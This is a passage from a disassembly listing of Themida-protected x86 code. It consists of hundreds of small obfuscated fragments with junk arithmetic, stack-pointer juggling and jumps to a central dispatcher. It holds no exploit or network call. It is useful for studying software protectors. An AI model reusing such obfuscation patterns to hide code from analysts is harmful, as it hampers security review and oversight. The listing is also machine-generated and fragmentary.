		add	esi, 4
		push	ebp
		push	4
		mov	ebp, [esp]
		jmp	loc_553D81
; ---------------------------------------------------------------------------


loc_554EA5:				; CODE XREF: Themida_:00556715j
		mov	ebx, ecx
		pop	ecx
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5573E3
; ---------------------------------------------------------------------------


loc_554EB6:				; CODE XREF: Themida_:0055BDE7j
		xor	ecx, ebp
		pop	ebp
		and	[edi+1Ch], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554EC7:				; CODE XREF: Themida_:0055890Cj
		neg	ebp
		neg	ebp
		jmp	loc_55565C
; ---------------------------------------------------------------------------


loc_554ED0:				; CODE XREF: Themida_:0055C86Cj
		mov	edx, 1Ch
		push	edi
		mov	edi, 6C47044Dh
		jmp	loc_557505
; ---------------------------------------------------------------------------


loc_554EE0:				; CODE XREF: Themida_:0055833Cj
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55CC06
; ---------------------------------------------------------------------------


loc_554EEB:				; CODE XREF: Themida_:0055D6AEj
		pop	ebp
		push	esi
		mov	si, 67D7h
		jmp	loc_55609B
; ---------------------------------------------------------------------------


loc_554EF6:				; CODE XREF: Themida_:0055429Fj
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554F03:				; CODE XREF: Themida_:00555910j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_555FB0
; ---------------------------------------------------------------------------


loc_554F16:				; CODE XREF: Themida_:005599A8j
		push	4
		jmp	loc_552E24
; ---------------------------------------------------------------------------


loc_554F20:				; CODE XREF: Themida_:0055A023j
		add	ecx, 0F560264h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55A4A4
; ---------------------------------------------------------------------------


loc_554F34:				; CODE XREF: Themida_:00555AE3j
		sub	ebp, 526B78D6h
		jmp	loc_55A049
; ---------------------------------------------------------------------------


loc_554F3F:				; CODE XREF: Themida_:00558C1Cj
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554F4C:				; CODE XREF: Themida_:0055305Cj
		push	76E778AAh
		pop	edx
		jmp	loc_556C4A
; ---------------------------------------------------------------------------


loc_554F57:				; CODE XREF: Themida_:00557E76j
		add	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_55A773
; ---------------------------------------------------------------------------


loc_554F67:				; CODE XREF: Themida_:00551BEDj
		add	edx, 2C511686h
		mov	[edx], cl
		pop	edx
		mov	ecx, [esp]
		jmp	loc_55CA8B
; ---------------------------------------------------------------------------


loc_554F78:				; CODE XREF: Themida_:0055B0FCj
		push	edx
		push	ecx
		mov	ecx, 1EEB1C72h
		push	edi
		mov	edi, 1EEB1C76h
		jmp	loc_553896
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_554E3F
; ---------------------------------------------------------------------------


loc_554FA2:				; CODE XREF: Themida_:00555C68j
		add	dh, ah
		pop	eax
		add	al, dh
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0E3h
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		sub	al, 6Ah
		sub	al, cl
		push	ecx
		mov	cl, 0EEh
		add	cl, 7Ch
		add	al, cl
		pop	ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_559389
; ---------------------------------------------------------------------------


loc_554FE1:				; CODE XREF: Themida_:00559D5Aj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		bt	[esp], ax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_554FF8:				; CODE XREF: Themida_:00556FA2j
		add	dl, 0BFh
		xor	al, dl
		mov	edx, [esp]
		jmp	loc_55BFD6
; ---------------------------------------------------------------------------


loc_555005:				; CODE XREF: Themida_:00559628j
		mov	ecx, 8895CC90h
		jmp	loc_556ED1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_55B672
; ---------------------------------------------------------------------------


loc_55501E:				; CODE XREF: Themida_:00558684j
		push	edx
		mov	edx, 261E11C1h
		shl	edx, 8
		or	edx, 3C7D17A8h
		xor	edx, 41B69B87h
		add	ebx, edx
		pop	edx
		sub	esp, 4
		jmp	loc_55AEBA
; ---------------------------------------------------------------------------


loc_555041:				; CODE XREF: Themida_:005533EFj
		mov	ecx, 523B53EEh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		or	eax, 24E04F16h
		inc	eax
		jmp	loc_55C495
; ---------------------------------------------------------------------------


loc_55505C:				; CODE XREF: Themida_:0055D907j
		mov	esi, esp
		add	esi, 4
		jmp	loc_559509
; ---------------------------------------------------------------------------


loc_555069:				; CODE XREF: Themida_:0055DEECj
		mov	dh, ch
		not	dh
		mov	ch, dh
		jmp	loc_55D0B6
; ---------------------------------------------------------------------------


loc_555074:				; CODE XREF: Themida_:0055D4E6j
		pop	esp
		jmp	loc_551A1E
; ---------------------------------------------------------------------------


loc_55507A:				; CODE XREF: Themida_:00551FC7j
		sub	edx, ebp
		jmp	loc_55A933
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_555081:				; CODE XREF: sub_55656B-4145j
		push	eax
		mov	ah, bl
		mov	cl, ah
		jmp	loc_556453
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_55508B:				; CODE XREF: Themida_:0055899Dj
		xor	ecx, 2DA568F4h
		xor	ecx, 49904EADh
		jmp	loc_554BE5
; ---------------------------------------------------------------------------


loc_55509C:				; CODE XREF: Themida_:0055D661j
		pop	eax
		push	ebp
		mov	ebp, 4B3E338Bh
		xor	eax, ebp
		pop	ebp
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_559F37
; ---------------------------------------------------------------------------


loc_5550B7:				; CODE XREF: Themida_:0055C11Cj
		push	esi
		mov	esi, 551465B8h
		add	esi, 17D6D3A3h
		mov	ecx, esi
		pop	esi
		add	ecx, 780332FBh
		and	ecx, 340974FEh
		push	eax
		jmp	loc_55402F
; ---------------------------------------------------------------------------


loc_5550D8:				; CODE XREF: Themida_:0055CDBFj
		mov	al, dl
		mov	dl, bl
		pop	bx
		jmp	loc_555B95
; ---------------------------------------------------------------------------


loc_5550E3:				; CODE XREF: Themida_:0055B5CBj
		add	ebp, 4673DA4h
		sub	ebp, 3A137C59h
		not	ebp
		jmp	loc_556968
; ---------------------------------------------------------------------------


loc_5550F6:				; CODE XREF: Themida_:00559130j
		neg	ebx
		jmp	loc_552689
; ---------------------------------------------------------------------------


loc_5550FD:				; CODE XREF: Themida_:0055B931j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_55A059
; ---------------------------------------------------------------------------


loc_555109:				; CODE XREF: Themida_:005588A4j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5526DA
; ---------------------------------------------------------------------------


loc_555114:				; CODE XREF: Themida_:0055A6B1j
		add	eax, 2A975379h
		add	eax, 0FAA0B415h
		xor	edx, eax
		pop	eax
		jmp	loc_558502
; ---------------------------------------------------------------------------


loc_555126:				; CODE XREF: Themida_:005589C5j
		sub	esp, 2
		mov	[esp], dx
		push	eax
		mov	ah, 5
		or	ah, 70h
		xor	ah, 0EFh
		mov	dh, ah
		pop	eax
		sub	al, dh
		pop	dx
		sub	al, 0CEh
		push	dword ptr [esp]
		jmp	loc_551B98
; ---------------------------------------------------------------------------


loc_55514A:				; CODE XREF: Themida_:00554E11j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5561FE
; ---------------------------------------------------------------------------


loc_555157:				; CODE XREF: Themida_:0055D526j
		dec	ecx
		and	ecx, 2D4328C8h
		push	edx
		mov	edx, 21D025BAh
		jmp	loc_551CF6
; ---------------------------------------------------------------------------


loc_555169:				; CODE XREF: Themida_:0055BE40j
		add	edx, esi
		jmp	loc_555F06
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_554732
; ---------------------------------------------------------------------------


loc_555178:				; CODE XREF: Themida_:005599FCj
		push	ebx
		jmp	loc_552028
; ---------------------------------------------------------------------------


loc_55517E:				; CODE XREF: Themida_:00556245j
		xor	ebx, 9FECB52Ah
		add	eax, 633D5285h
		jmp	loc_55A879
; ---------------------------------------------------------------------------


loc_55518E:				; CODE XREF: Themida_:0055790Fj
		mov	edi, esp
		push	eax
		push	ebp
		mov	ebp, 4
		mov	eax, ebp
		pop	ebp
		add	edi, eax
		pop	eax
		push	ecx
		push	edx
		mov	edx, 58536EF8h
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5593D4
; ---------------------------------------------------------------------------


loc_5551B4:				; CODE XREF: Themida_:005592BEj
		pop	edi
		jmp	loc_55BFE4
; ---------------------------------------------------------------------------


loc_5551BA:				; CODE XREF: Themida_:0055BBD7j
		mov	ebx, 4CC312C7h
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		not	eax
		xchg	eax, ebx
		jmp	loc_55C27F
; ---------------------------------------------------------------------------


loc_5551CD:				; CODE XREF: Themida_:005545F7j
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_55CA32
; ---------------------------------------------------------------------------


loc_5551DC:				; CODE XREF: Themida_:00552415j
		push	60E6h
		jmp	loc_553D26
; ---------------------------------------------------------------------------


loc_5551E6:				; CODE XREF: Themida_:0055C319j
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4B747DD2h
		jmp	loc_555EF0
; ---------------------------------------------------------------------------


loc_5551FA:				; CODE XREF: Themida_:00551B2Aj
		xchg	edi, [esp]
		not	edi
		jmp	loc_55326A
; ---------------------------------------------------------------------------


loc_555204:				; CODE XREF: Themida_:0055487Fj
		push	ebp
		mov	ebp, 43186259h
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 8
		shl	ecx, 4
		sub	ecx, 7BBA21Ch
		jmp	loc_559EC3
; ---------------------------------------------------------------------------


loc_55521E:				; CODE XREF: Themida_:00555C92j
		shl	ebx, 5
		add	ebx, 5FA82837h
		and	ebx, 63655EF9h
		push	eax
		jmp	loc_55CEC4
; ---------------------------------------------------------------------------


loc_555233:				; CODE XREF: Themida_:00559CCCj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_55B595
; ---------------------------------------------------------------------------


loc_555246:				; CODE XREF: Themida_:00551CB4j
		xor	[esp+4], edx
		pop	edx
		pop	eax
		jmp	loc_55D548
; ---------------------------------------------------------------------------


loc_555251:				; CODE XREF: Themida_:005567ABj
		pop	eax
		sub	eax, 613B7BAFh
		push	eax
		not	dword ptr [esp]
		pop	eax
		neg	eax
		jmp	loc_5565C6
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_552600
; ---------------------------------------------------------------------------


loc_555269:				; CODE XREF: Themida_:0055A439j
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DD9A
; ---------------------------------------------------------------------------


loc_555279:				; CODE XREF: Themida_:005524BDj
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55BC6B
; ---------------------------------------------------------------------------


loc_555286:				; CODE XREF: Themida_:00558F0Fj
		mov	ecx, 4D7E394Eh
		or	ecx, 4BC6480Ah
		shl	ecx, 7
		add	ecx, 345A0122h
		push	3B72h
		mov	[esp], eax
		jmp	loc_55A3DE
; ---------------------------------------------------------------------------


loc_5552A7:				; CODE XREF: Themida_:0055DD30j
		mov	[esp], ecx
		mov	ecx, 2
		add	edi, 3E832F0Bh
		add	edi, ecx
		sub	edi, 3E832F0Bh
		pop	ecx
		jmp	loc_55CAD8
; ---------------------------------------------------------------------------


loc_5552C3:				; CODE XREF: Themida_:0055A170j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55858F
; ---------------------------------------------------------------------------


loc_5552D0:				; CODE XREF: Themida_:0055CB79j
		sub	ax, 542Ch
		sub	ax, 7148h
		jmp	loc_5524A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5552DD:				; CODE XREF: sub_55656B+4DC1j
		mov	al, 81h
		neg	al
		sub	al, 0ECh
		xor	cl, al
		jmp	loc_555EA4
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5552EA:				; CODE XREF: Themida_:005572B0j
		xor	edx, eax
		pop	eax
		or	ebx, edx
		jmp	loc_55DDF6
; ---------------------------------------------------------------------------


loc_5552F4:				; CODE XREF: Themida_:0055ABADj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55D6B3
; ---------------------------------------------------------------------------


loc_555302:				; CODE XREF: Themida_:0055959Cj
		pop	eax
		mov	edx, edi
		pop	edi
		jmp	loc_55A956
; ---------------------------------------------------------------------------


loc_55530B:				; CODE XREF: Themida_:0055C583j
		sub	esi, 0E69E3171h
		jmp	loc_55643F
; ---------------------------------------------------------------------------


loc_555316:				; CODE XREF: Themida_:0055A32Ej
		add	edx, 4
		jmp	loc_5529F3
; ---------------------------------------------------------------------------


loc_555321:				; CODE XREF: Themida_:0055A314j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_557DB4
; ---------------------------------------------------------------------------


loc_555334:				; CODE XREF: Themida_:00552A21j
		add	al, 8Bh
		jmp	loc_5577EC
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		push	esi
		push	4CCC150Fh
		pop	esi
		or	esi, 5C1E083Eh
		sub	esi, 18DA6C13h
		jmp	loc_55BCA4
; ---------------------------------------------------------------------------


loc_555357:				; CODE XREF: Themida_:0055C2C4j
		pop	esi
		push	ebp
		mov	ebp, 40784648h
		push	ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_55787E
; ---------------------------------------------------------------------------


loc_55536B:				; CODE XREF: Themida_:0055C5C6j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55AFDF
; ---------------------------------------------------------------------------


loc_55537A:				; CODE XREF: Themida_:00559EA9j
		push	2E4Ch
		mov	[esp], ecx
		mov	ecx, 4F0734E0h
		push	4F07341Eh
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55C0E5
; ---------------------------------------------------------------------------


loc_55539C:				; CODE XREF: Themida_:0055BB24j
		neg	ebp
		push	edx
		jmp	loc_55657F
; ---------------------------------------------------------------------------


loc_5553A4:				; CODE XREF: Themida_:00557A6Ej
		xchg	esi, [esp]
		jmp	loc_55CE56
; ---------------------------------------------------------------------------


loc_5553AC:				; CODE XREF: Themida_:00558D91j
		mov	[esp], esi
		push	esp
		jmp	loc_55A9CD
; ---------------------------------------------------------------------------


loc_5553B5:				; CODE XREF: Themida_:00554D1Ej
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_559C30
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_558D6A
; ---------------------------------------------------------------------------


loc_5553D9:				; CODE XREF: Themida_:005569B1j
		add	al, bl
		push	edx
		mov	dh, 85h
		add	al, dh
		pop	edx
		push	ecx
		jmp	loc_55A093
; ---------------------------------------------------------------------------


loc_5553E7:				; CODE XREF: Themida_:00553E5Fj
		mov	esi, 7E6F346Eh
		jmp	loc_559142
; ---------------------------------------------------------------------------


loc_5553F1:				; CODE XREF: Themida_:00552213j
		shr	ebp, 7
		jmp	loc_556483
; ---------------------------------------------------------------------------


loc_5553F9:				; CODE XREF: Themida_:0055AE19j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55A357
; ---------------------------------------------------------------------------


loc_55540B:				; CODE XREF: Themida_:00558FA4j
		neg	al
		shl	al, 7
		xor	al, 45h
		mov	cl, al
		jmp	loc_55DBFF
; ---------------------------------------------------------------------------


loc_555419:				; CODE XREF: Themida_:00559AA8j
		mov	ah, 77h
		push	edx
		push	ecx
		mov	ch, ah
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B7B0
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	0F40h
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	57Ah
		mov	[esp], edx
		mov	edx, esp
		push	edi
		jmp	loc_5522DD
; ---------------------------------------------------------------------------


loc_555458:				; CODE XREF: Themida_:00557903j
		add	[esp+4], esi
		pop	esi
		pop	ebx
		push	ebp
		jmp	loc_55B778
; ---------------------------------------------------------------------------


loc_555464:				; CODE XREF: Themida_:00559E7Bj
		sub	edx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	edx, 6EBB53A9h
		add	edx, 7BDE5405h
		jmp	loc_552732
; ---------------------------------------------------------------------------


loc_55547E:				; CODE XREF: Themida_:00554395j
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555495:				; CODE XREF: Themida_:0055AC1Dj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_554C44
; ---------------------------------------------------------------------------


loc_5554B3:				; CODE XREF: Themida_:0055421Cj
		pop	edx
		shl	ah, 4
		not	ah
		shl	ah, 7
		shl	ah, 3
		shr	ah, 6
		xor	ah, 8
		jmp	loc_557228
; ---------------------------------------------------------------------------


loc_5554CA:				; CODE XREF: Themida_:0055A217j
		pop	edi
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55CBA3
; ---------------------------------------------------------------------------


loc_5554D4:				; CODE XREF: Themida_:005542E2j
		inc	ebx
		push	ecx
		push	618E6EA5h
		pop	ecx
		xor	ebx, ecx
		jmp	loc_554156
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	$+5
		push	edx
		jmp	loc_55BE9F
; ---------------------------------------------------------------------------


loc_5554F2:				; CODE XREF: Themida_:00557443j
		push	esp
		jmp	loc_555A93
; ---------------------------------------------------------------------------


loc_5554F8:				; CODE XREF: Themida_:00553659j
		add	edx, edi
		jmp	loc_55C37C
; ---------------------------------------------------------------------------


loc_5554FF:				; CODE XREF: Themida_:005558C6j
		sub	ecx, 3FD44DB1h
		add	ecx, esi
		add	ecx, 3FD44DB1h
		pop	esi
		add	ecx, esi
		sub	ecx, 21646555h
		push	dword ptr [esp]
		jmp	loc_556BCD
; ---------------------------------------------------------------------------


loc_55551E:				; CODE XREF: Themida_:0055854Dj
		xor	ebp, 123928B6h
		pop	eax
		sub	dword ptr [esp+4], 6E1741C1h
		sub	dword ptr [esp+4], 17C51486h
		add	[esp+4], ebp
		jmp	loc_553D59
; ---------------------------------------------------------------------------


loc_55553E:				; CODE XREF: Themida_:0055DD3Fj
		push	52ECh
		jmp	loc_553ED5
; ---------------------------------------------------------------------------


loc_555548:				; CODE XREF: Themida_:0055D6B7j
		mov	edx, esp
		jmp	loc_552CEE
; ---------------------------------------------------------------------------


loc_55554F:				; CODE XREF: Themida_:0055D5C8j
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555566:				; CODE XREF: Themida_:0055A5B3j
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_55433B
; ---------------------------------------------------------------------------


loc_555570:				; CODE XREF: Themida_:0055CE15j
		add	bh, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5584C1
; ---------------------------------------------------------------------------


loc_555580:				; CODE XREF: Themida_:0055C8FAj
		add	esi, 4
		jmp	loc_559261
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_552B83
; ---------------------------------------------------------------------------


loc_555594:				; CODE XREF: Themida_:0055BABEj
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_554C80
; ---------------------------------------------------------------------------


loc_55559E:				; CODE XREF: Themida_:0055BA44j
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 5Ch
		inc	ch
		push	6DDCh
		mov	[esp], edx
		jmp	loc_55BADE
; ---------------------------------------------------------------------------


loc_5555B8:				; CODE XREF: Themida_:005524E2j
		pop	esp
		add	ebx, 4
		jmp	loc_55E024
; ---------------------------------------------------------------------------


loc_5555C4:				; CODE XREF: Themida_:00554313j
		push	eax
		jmp	loc_55C84C
; ---------------------------------------------------------------------------


loc_5555CA:				; CODE XREF: Themida_:0055C7AFj
		pop	eax
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 176A737Dh
		jmp	loc_552365
; ---------------------------------------------------------------------------


loc_5555DC:				; CODE XREF: Themida_:0055D998j
		add	ebx, eax
		jmp	loc_559B10
; ---------------------------------------------------------------------------


loc_5555E3:				; CODE XREF: Themida_:0055828Aj
		sub	edi, 0E540BF26h
		push	55FDh
		jmp	loc_5574E0
; ---------------------------------------------------------------------------


loc_5555F3:				; CODE XREF: Themida_:005566F1j
		mov	[esp], edx
		push	esi
		jmp	loc_556B76
; ---------------------------------------------------------------------------


loc_5555FC:				; CODE XREF: Themida_:0055BA1Dj
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0F8h
		add	bh, dl
		mov	dx, [esp]
		jmp	loc_557193
; ---------------------------------------------------------------------------


loc_555613:				; CODE XREF: Themida_:0055ABD5j
		push	ebp
		push	13014656h
		jmp	loc_556288
; ---------------------------------------------------------------------------


loc_55561E:				; CODE XREF: Themida_:0055CB8Fj
		pop	ebp
		add	edi, 0BD59D3C0h
		and	eax, edi
		jmp	loc_5531C4
; ---------------------------------------------------------------------------


loc_55562C:				; CODE XREF: Themida_:0055A7DEj
		push	edi
		mov	edi, 2D9F4C7Ch
		or	edx, edi
		pop	edi
		add	edx, 37D535BCh
		push	eax
		mov	eax, 0B9AAB102h
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 7CF17880h
		sub	ebp, edx
		sub	ebp, 7CF17880h
		jmp	loc_553519
; ---------------------------------------------------------------------------


loc_55565C:				; CODE XREF: Themida_:00554ECBj
		shr	ebp, 6
		jmp	loc_559E25
; ---------------------------------------------------------------------------


loc_555664:				; CODE XREF: Themida_:00551AA6j
		xchg	eax, [esp]
		pop	esp
		push	ax
		mov	ah, 47h
		add	cl, ah
		pop	ax
		mov	bl, cl
		pop	ecx
		add	al, bl
		pop	bx
		xor	bl, al
		push	566h
		mov	[esp], ebx
		push	3FCh
		jmp	loc_55D1B9
; ---------------------------------------------------------------------------


loc_55568B:				; CODE XREF: Themida_:005599F6j
		mov	ebp, 4405622Ah
		jmp	loc_55D145
; ---------------------------------------------------------------------------


loc_555695:				; CODE XREF: Themida_:00555B31j
		pop	edi
		jmp	loc_559F9A
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_5556A3:				; CODE XREF: Themida_:0055BE65j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		push	edi
		push	esi
		mov	esi, 4284F89h
		mov	edi, esi
		pop	esi
		jmp	loc_5582CD
; ---------------------------------------------------------------------------


loc_5556BE:				; CODE XREF: Themida_:0055AFE5j
		push	283Ch
		mov	[esp], edi
		mov	edi, 6C284D7Ah
		neg	edi
		push	eax
		push	ebp
		mov	ebp, 6A580ABEh
		shl	ebp, 5
		shr	ebp, 8
		sub	ebp, 941DD8AAh
		mov	eax, ebp
		pop	ebp
		sub	eax, 13EB0150h
		jmp	loc_55886C
; ---------------------------------------------------------------------------


loc_5556ED:				; CODE XREF: Themida_:0055B9B3j
		xor	ebx, 8081DF41h
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		jmp	loc_553F24
; ---------------------------------------------------------------------------


loc_555704:				; CODE XREF: Themida_:0055271Fj
		sub	[esp], al
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55570D:				; CODE XREF: Themida_:005566ABj
		or	al, 0FBh
		xor	al, 0D0h
		neg	al
		jmp	loc_552FE9
; ---------------------------------------------------------------------------


loc_555718:				; CODE XREF: Themida_:0055B3E8j
		add	edi, 5C0B2C25h
		add	edi, ebp
		sub	edi, 5C0B2C25h
		jmp	loc_551FCC
; ---------------------------------------------------------------------------


loc_55572B:				; CODE XREF: Themida_:0055DD85j
		or	ebx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55B485
; ---------------------------------------------------------------------------


loc_555738:				; CODE XREF: Themida_:0055DF68j
		dec	eax
		and	eax, 3E107857h
		and	eax, 12A908F2h
		push	edi
		jmp	loc_55AC94
; ---------------------------------------------------------------------------


loc_555749:				; CODE XREF: Themida_:0055718Ej
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 17562EDh
		jmp	loc_555C4F
; ---------------------------------------------------------------------------


loc_555758:				; CODE XREF: Themida_:00559315j
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_556A26
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	6E2Ah
		mov	[esp], esi
		mov	esi, 741A7DDCh
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 589F65F3h
		jmp	loc_55478D
; ---------------------------------------------------------------------------


loc_555784:				; CODE XREF: Themida_:0055A0FEj
		pop	esp
		jmp	loc_55D976
; ---------------------------------------------------------------------------


loc_55578A:				; CODE XREF: Themida_:00556864j
		not	ebx
		jmp	loc_55CC43
; ---------------------------------------------------------------------------


loc_555791:				; CODE XREF: Themida_:0055A9AEj
		push	1EF2h
		mov	[esp], ebp
		jmp	loc_55646A
; ---------------------------------------------------------------------------


loc_55579E:				; CODE XREF: Themida_:0055DA0Ej
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_557F7D
		push	eax
		push	ebx
		mov	ebx, 30C26E28h
		mov	eax, 30C26E44h
		sub	eax, ebx
		pop	ebx
		sub	eax, 110E2552h
		add	eax, 1EAE221Fh
		push	ecx
		mov	ecx, 37AB392Fh
		or	ecx, 52F72EA4h
		xor	ecx, 11F21E61h
		shl	ecx, 6
		jmp	loc_554B8D
; ---------------------------------------------------------------------------


loc_5557DD:				; CODE XREF: Themida_:00557EDEj
		dec	ebx
		or	ebx, 492E723Bh
		shl	ebx, 7
		neg	ebx
		shr	ebx, 3
		sub	ebx, 0A02E8A59h
		add	edi, ebx
		jmp	loc_554781
; ---------------------------------------------------------------------------


loc_5557F9:				; CODE XREF: Themida_:005558EEj
		add	eax, 0B247BC0h
		pop	edx
		push	3DA6h
		mov	[esp], ecx
		push	2
		pop	ecx
		add	eax, ecx
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_558969
; ---------------------------------------------------------------------------


loc_555818:				; CODE XREF: Themida_:00558CA1j
		pop	ecx
		add	ecx, 4
		push	1266h
		mov	[esp], eax
		mov	eax, 2
		add	ecx, eax
		pop	eax
		jmp	loc_555900
; ---------------------------------------------------------------------------


loc_555834:				; CODE XREF: Themida_:0055CB51j
		xor	edi, 540A3241h
		push	6DA4h
		jmp	loc_559CD1
; ---------------------------------------------------------------------------


loc_555844:				; CODE XREF: Themida_:00554594j
		sub	dword ptr [esp], 63371F53h
		pop	esi
		jmp	loc_554673
; ---------------------------------------------------------------------------


loc_555851:				; CODE XREF: Themida_:0055827Dj
		mov	edx, 360C5AADh
		xor	[esp+4], edx
		pop	edx
		pop	ebp
		xor	ebp, 360C5AADh
		jmp	loc_5532FF
; ---------------------------------------------------------------------------


loc_555867:				; CODE XREF: Themida_:0055DCBCj
		mov	esi, 0EC5F40FAh
		jmp	loc_553CB3
; ---------------------------------------------------------------------------


loc_555871:				; CODE XREF: Themida_:0055BD4Bj
		add	eax, 288C33DDh
		push	ebp
		mov	ebp, 1E4B3B87h
		sub	ebp, 0B43FA16h
		jmp	loc_5582F1
; ---------------------------------------------------------------------------


loc_555887:				; CODE XREF: Themida_:0055A22Dj
		not	edi
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		jmp	loc_552D09
; ---------------------------------------------------------------------------


loc_5558B2:				; CODE XREF: Themida_:005525F0j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		push	esi
		mov	esi, 21646555h
		jmp	loc_5554FF
; ---------------------------------------------------------------------------


loc_5558CB:				; CODE XREF: Themida_:00551F58j
		mov	dx, [esp]
		jmp	loc_55764D
; ---------------------------------------------------------------------------


loc_5558D4:				; CODE XREF: Themida_:00554494j
		shl	esi, 2
		jmp	loc_559965
; ---------------------------------------------------------------------------


loc_5558DC:				; CODE XREF: Themida_:00552E56j
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
